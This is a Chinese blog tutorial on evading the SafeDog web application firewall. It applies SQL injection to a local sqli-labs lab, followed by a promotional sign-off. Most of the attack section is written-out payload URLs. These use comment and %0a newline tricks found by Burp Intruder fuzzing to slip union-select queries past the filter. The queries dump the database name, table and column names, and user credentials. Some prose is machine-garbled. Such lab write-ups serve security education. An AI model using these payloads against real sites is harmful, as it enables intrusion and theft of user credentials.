安全狗WAF绕过系列
一、WAF概述
WAF(Web应用防火墙)作为一种专为Web应用步伐计划的安全防护工具,其焦点功能在于通过实施一系列针对HTTP/HTTPS协议的安全策略,来增强Web应用的安全性。WAF内置了精心计划的检测逻辑与规则集,这些规则旨在对每一个进入系统的请求内容举行细致检察,并对任何违反安全策略的请求采取即时且有效的防御步伐,从而维护Web应用环境的纯净与安全。
二、WAF工作机制详解
WAF的工作流程精心构建,涵盖四个关键环节:预处置惩罚、规则匹配、响应处置惩罚以及日志记载,共同编织成一张精密的安全防护网。
- 「预处置惩罚阶段」:此阶段,WAF首先担当起“守门人”的脚色,对所有进入的数据请求流量举行初步筛选,确认其是否遵循HTTP/HTTPS协议尺度。紧接着,WAF会利用预设的白名单机制,快速辨认并放行那些已知安全或信任的URL请求,直接引导它们进入后端Web服务器举行处置惩罚。对于未能通过白名单验证的请求,WAF则进一步深入,对其数据包举行精细剖析,为后续的安全检测做准备。
- 「规则匹配阶段」:此为焦点环节,WAF利用其内置的强大规则引擎,对颠末剖析的数据包举行深度扫描与匹配。这些规则覆盖了广泛的攻击场景与模式,包括但不限于SQL注入、跨站脚本(XSS)、下令注入等常见Web安全威胁。通过这一过程,WAF能够精准辨认出潜在的恶意请求,为后续的安全响应奠定坚实基础。
- 「响应处置惩罚阶段」:基于规则匹配的结果,WAF的响应处置惩罚模块将采取针对性的防御步伐。对于符合安全规则的请求,WAF会毫无阻碍地将其转发至后端Web服务器,确保用户请求得到及时响应。而对于那些被判定为恶意或异常的请求,WAF则显现出其防御气力,通过阻断请求、记载日志或触发告警等多种方式,有效遏制潜在的安全风险,保护Web应用免受陵犯。
三、常见的waf绕过姿势
常见的WAF(Web应用防火墙)绕过姿势包括但不限于以下几种:
- 「提交方式变更」:许多WAF默认设置下主要对GET请求举行过滤,而忽略POST请求、Cookie、HTTP头等其他提交方式。因此,可以实验将攻击载荷通过差别的提交方式举行发送,以绕过WAF的检测。
- 「大小写替换和编码绕过」:利用WAF规则可能不区分大小写或无法完全剖析编码后的攻击载荷,通过将攻击语句中的关键字举行大小写替换或使用URL编码、Base64编码等方式举行编码,以绕过WAF的过滤规则。
- 「事件函数变更」:WAF会重点辨认触发JavaScript代码执行的事件函数字段,如onclick。通过变更事件函数名称或利用其他不常见的事件函数,可以实验绕过WAF的辨认。
- 「注释符和内联注释」:使用SQL注释符(如--、#)或HTML/JavaScript注释(如<!-- -->、//)来绕过WAF对特定关键字的过滤。有时,将攻击载荷与注释符结合使用,可以欺骗WAF使其忽略部分攻击载荷。
- 「分片传输」:通过调解HTTP请求中的Content-Length头部,将攻击载荷分成多个部分发送,可能导致WAF无法完备剖析请求内容,从而绕过检测。
- 「利用WAF软肋」:WAF在部署时可能因性能考虑而留下一些软肋,如对某些特别字符或组合的检测不够严酷。通太过析和测试WAF的行为,可能发现并利用这些软肋举行绕过。
- 「爬虫白名单绕过」:部分WAF提供爬虫白名单功能,通过伪装成爬虫(修改User-Agent或模拟爬虫行为)可能绕过WAF的检测。
- 「高并发流量攻击」:通过发送大量垃圾数据或高并发请求,使WAF设备进入Bypass IPS模式或达到性能极限,从而暂时或永世性地绕过WAF的防护。
请留意,上述绕过姿势仅供安全研究和教育目的使用。未经授权的渗出测试和网络攻击黑白法行为,可能会对个人和组织造成严重的法律后果。在举行任何渗出测试之前,请确保已获得正当授权。
四、安全狗绕过姿势
环境:phpstudy—apache2.4.39
安全狗官网v4.0下载(应该是最新版):https://www.safedog.cn/website_safedog.html
在开始之前,如果没有sql注入基础的的童鞋,还请观看我的另外一篇文章,1w字超详细剖析。
以下内容皆使用sqli第一关举行测试
image-20240716111521447
测试 id=1’ and 1=1
- http://192.168.209.131/Less-1/?id=-1' and 1=1
复制代码
image-20240715165511624
在之前的实验中,我们发现直接使用“and 1=1”这种方法好像并不奏效,这很可能是因为安全狗系统辨认并过滤了“and”这个词。为了更深入地了解安全狗是如何辨认并拦截这类操纵的,我们可以实验将“and 1=1”举行拆分
- http://192.168.10.129:8080/sqli/Less-1/?id=1' and --+
- http://192.168.10.129:8080/sqli/Less-1/?id=1' 1=1 --+
复制代码 发现两个页面均返回SQL语法错误,这表明安全狗不会单独过滤‘and’或‘1=1’。我推测它可能是辨认到‘and’后紧跟空格和字符的模式。为了验证这一点,我决定举行实验。
- http://192.168.10.129:8080/sqli/Less-1/?id=1' and1--+
- http://192.168.10.129:8080/sqli/Less-1/?id=1' and 1--+
复制代码 实验结果,证明白确实是and+空格+字符串的格式会被拦截。
这里我们就可以开始实验利用**「注释符」、「回车符%0a」**等来代替空格举行绕过了!!
在此输入:
- http://192.168.10.129:8080/sqli/Less-1/?id=1' and/**/1=1--+
复制代码 发现依旧不可,打开burp suite,拦截下我们阻截的包,添加$payload到我们测试的**「注释符」中然后点击发送到「intruder」**模块,选择如下:
image-20240715170533486
然后,点击pyload,选择**「暴力破解」**(Brute forcer):
image-20240715170457261
attack,开始攻击,安全狗有流量攻击的防御,后面可能会被拦截,办理办法直接**「重启」**apache服务器。好了这里测试完成了,点击length更改默认排序,我们拿每个请求乐成payload(检查response即可查察是否乐成,如果用户名正常显示,说明该字符payload安全狗没有举行拦截)。
image-20240715170405683
我们任意娶一个/!*得到payload和注释符拼接/*/!**/,这个时候and和后面的1=1之间用这个拼接的符号举行连接即可
- http://192.168.209.131/Less-1/?id=1' and/*/!**/1=1 --+
复制代码 可以绕过了
image-20240715170823637
order by测试,我们用之前的测试结果,利用/*/!**/这一个充当空格,测试**「order by 3」**,然后看看能否乐成?
- http://192.168.209.131/Less-1/?id=1' order/*/!**/by 3 --+
复制代码
image-20240715172306698
完善,接下来测试连合注入。平常测试union select:
- http://192.168.209.131/Less-1/?id=1' union select --+
复制代码
image-20240715172414774
union关键字测试,有回显
- http://192.168.209.131/Less-1/?id=1' union --+
复制代码
image-20240715172507322
select关键字测试,有回显
- http://192.168.209.131/Less-1/?id=1' select --+
复制代码
image-20240715172540647
已知安全狗WAF对连合注入的拦截规则是辨认到union select字符串。为了探索是否能利用注释符绕过这一规则,我决定接纳与之前相同的方法,利用Burp举行抓包,并增强**「fuzz测试」**中的参数举行暴力破解实验。
image-20240715205818846
任意选择几个1002长度的响应结果
image-20240715205744548
这里我们选择payload,取/!*!/,构造注释符+payload,为/*/!*!/*/,插入union和select之间,绕过乐成
- http://192.168.5.64/Less-1/?id=1' union/*/!*!/*/select 1,2,3 --+
复制代码
image-20240715210114937
这里尚有一个思绪,可以利用--+%0a这种格式通过换行继承执行,这里我们试一下看看:
❝
Tips:我的另一篇sql注入文章有写过%0a的作用,配景回复【sql注入】【sql】等关键字即可查察
❞
- http://192.168.5.64/Less-1/?id=-1%27%20union/*!--+/*%0aselect%201,database(),3*/%20--+
- 相当于在普通sql语句中的
- http://192.168.5.64/Less-1/?id=-1' union/*!--+/*
- select 1,database(),3*/ --+
复制代码
image-20240715211304899
实验报数据库
- http://192.168.5.64/Less-1/?id=-1' union/*/!*!/*/select 1,database(),3 --+
复制代码 发现database()被拦截了
image-20240715211803058
我们把database的()给去掉
- http://192.168.5.64/Less-1/?id=-1' union/*/!*!/*/select 1,database,3 --+
复制代码 报错,此时就可以确定,安全狗应该是将database()举行检测
image-20240715212006918
然后我们继承使用注释符或者内联注释符看看吧:
继承接纳burp的**「fuzz测试」**:添加上变量
image-20240715213751892
扫出来4个/可以用,最简单的
image-20240715213840696
和之前一样,就不夸大了,取注释符+payload,构造payload
- http://192.168.5.64/Less-1/?id=-1' union/*/!*!/*/select 1,database/**/(),3 --+
复制代码
image-20240715214011786
乐成了!接下来一个一个关键词测试,group_concat()
- http://192.168.5.64/Less-1/?id=-1' union/*/!*!/*/select 1,database/**/(),group_concat(table_name) --+
复制代码
image-20240715214342969
没有拦截,继承from
- http://192.168.5.64/Less-1/?id=-1' union/*/!*!/*/select 1,database/**/(),group_concat(table_name) from --+
复制代码
image-20240715214416033
informtion_schema.tables,结果就不可了
- http://192.168.5.64/Less-1/?id=-1' union/*/!*!/*/select 1,database/**/(),group_concat(table_name) from informtion_schema.tables --+
复制代码
image-20240715215224759
测试%0a
- http://192.168.209.131/Less-1/?id=-1%27%20union/*/!*!/*/select%201,database/**/(),group_concat(table_name)%20from%20/*!--%20/*%0ainformation_schema.tables*/
- 相当于
- http://192.168.209.131/Less-1/?id=-1' union/*/!*!/*/select 1,database/**/(),group_concat(table_name) from /*!-- /*
- information_schema.tables*/
复制代码
image-20240716093748206
测试查当前数据库的表名,前面已经测试过database()了
- http://192.168.209.131/Less-1/?id=-1%27%20union/*/!*!/*/select%201,database/**/(),group_concat(table_name)%20from%20/*!--%20/*%0ainformation_schema.tables*/where%20table_schema=database/**/()%20--+
- 相当于
- http://192.168.209.131/Less-1/?id=-1' union/*/!*!/*/select 1,database/**/(),group_concat(table_name) from /*!-- /*
- information_schema.tables*/where table_schema=database/**/() --+
复制代码
image-20240716093930467
爆字段,测试到and,table_name都没拦截
- http://192.168.209.131/Less-1/?id=-1%27%20union/*/!*!/*/select%201,database/**/(),group_concat(column_name)%20from%20/*!--%20/*%0ainformation_schema.tables*/where%20table_schema=database/**/()%20and%20table_name%20--+
- 相当于
- http://192.168.209.131/Less-1/?id=-1' union/*/!*!/*/select 1,database/**/(),group_concat(column_name) from /*!-- /*
- information_schema.tables*/where table_schema=database/**/() and table_name --+
复制代码
image-20240716095210635
直到table_name后面加了个=
- http://192.168.209.131/Less-1/?id=-1%27%20union/*/!*!/*/select%201,database/**/(),group_concat(column_name)%20from%20/*!--%20/*%0ainformation_schema.tables*/where%20table_schema=database/**/()%20and%20table_name=%20--+
- 相当于
- http://192.168.209.131/Less-1/?id=-1' union/*/!*!/*/select 1,database/**/(),group_concat(column_name) from /*!-- /*
- information_schema.tables*/where table_schema=database/**/() and table_name= --+
复制代码
image-20240716095144657
那么开始**「fuzz测试」**爆破
image-20240716103253642
任意娶一个payload和注释符举行拼接,如下
- http://192.168.209.131/Less-1/?id=-1%27%20union/*/!*!/*/select%201,database/**/(),group_concat(column_name)%20from%20/*!--%20/*%0ainformation_schema.columns*/where%20table_schema=database/**/()%20and%20table_name/*/***/=%22users%22%20--+
- 相当于
- http://192.168.209.131/Less-1/?id=-1' union/*/!*!/*/select 1,database/**/(),group_concat(column_name) from /*!-- /*
- information_schema.columns*/where table_schema=database/**/() and table_name/*/***/="users" --+
复制代码
image-20240716103446751
回车%0a的绕过方式
- http://192.168.209.131/Less-1/?id=-1%27%20union/*/!*!/*/select%201,database/**/(),group_concat(column_name)%20from%20/*!--%20/*%0ainformation_schema.columns*/where%20table_schema=database/**/()%20and%20/*!--%20/*%0atable_name*/=%22users%22%20--+
- 相当于
- http://192.168.209.131/Less-1/?id=-1' union/*/!*!/*/select 1,database/**/(),group_concat(column_name) from /*!-- /*
- information_schema.columns*/where table_schema=database/**/() and /*!-- /*
- table_name*/="users" --+
复制代码
image-20240716103752507
爆数据,已知表名为users,字段为id,username,password,并设置每个字段的分隔符为-,separator ‘-’
- http://192.168.209.131/Less-1/?id=-1%27%20union/*/!*!/*/select%201,database/**/(),group_concat(id,username,password%20separator%20%27-%27)%20from%20/*!--%20/*%0ausers*/%20--+
- 相当于
- http://192.168.209.131/Less-1/?id=-1' union/*/!*!/*/select 1,database/**/(),group_concat(id,username,password separator '-') from /*!-- /*
- users*/ --+
复制代码
image-20240716104419572
末了
从期间发展的角度看,网络安全的知识是学不完的,而且以后要学的会更多,同学们要摆正心态,既然选择入门网络安全,就不能仅仅只是入门程度而已,能力越强机会才越多。
因为入门学习阶段知识点比较杂,所以我讲得比较笼统,大家如果有不懂的地方可以找我咨询,我包管知无不言言无不尽,需要相关资料也可以找我要,我的网盘里一大堆资料都在吃灰呢。
干货主要有:
①1000+CTF历届题库(主流和经典的应该都有了)
②CTF技术文档(最全中文版)
③项目源码(四五十个风趣且经典的练手项目及源码)
④ CTF大赛、web安全、渗出测试方面的视频(适合小白学习)
⑤ 网络安全学习路线图(告别不入流的学习)
⑥ CTF/渗出测试工具镜像文件大全
⑦ 2023密码学/隐身术/PWN技术手册大全
如果你对网络安全入门感爱好,那么你需要的话可以点击这里 |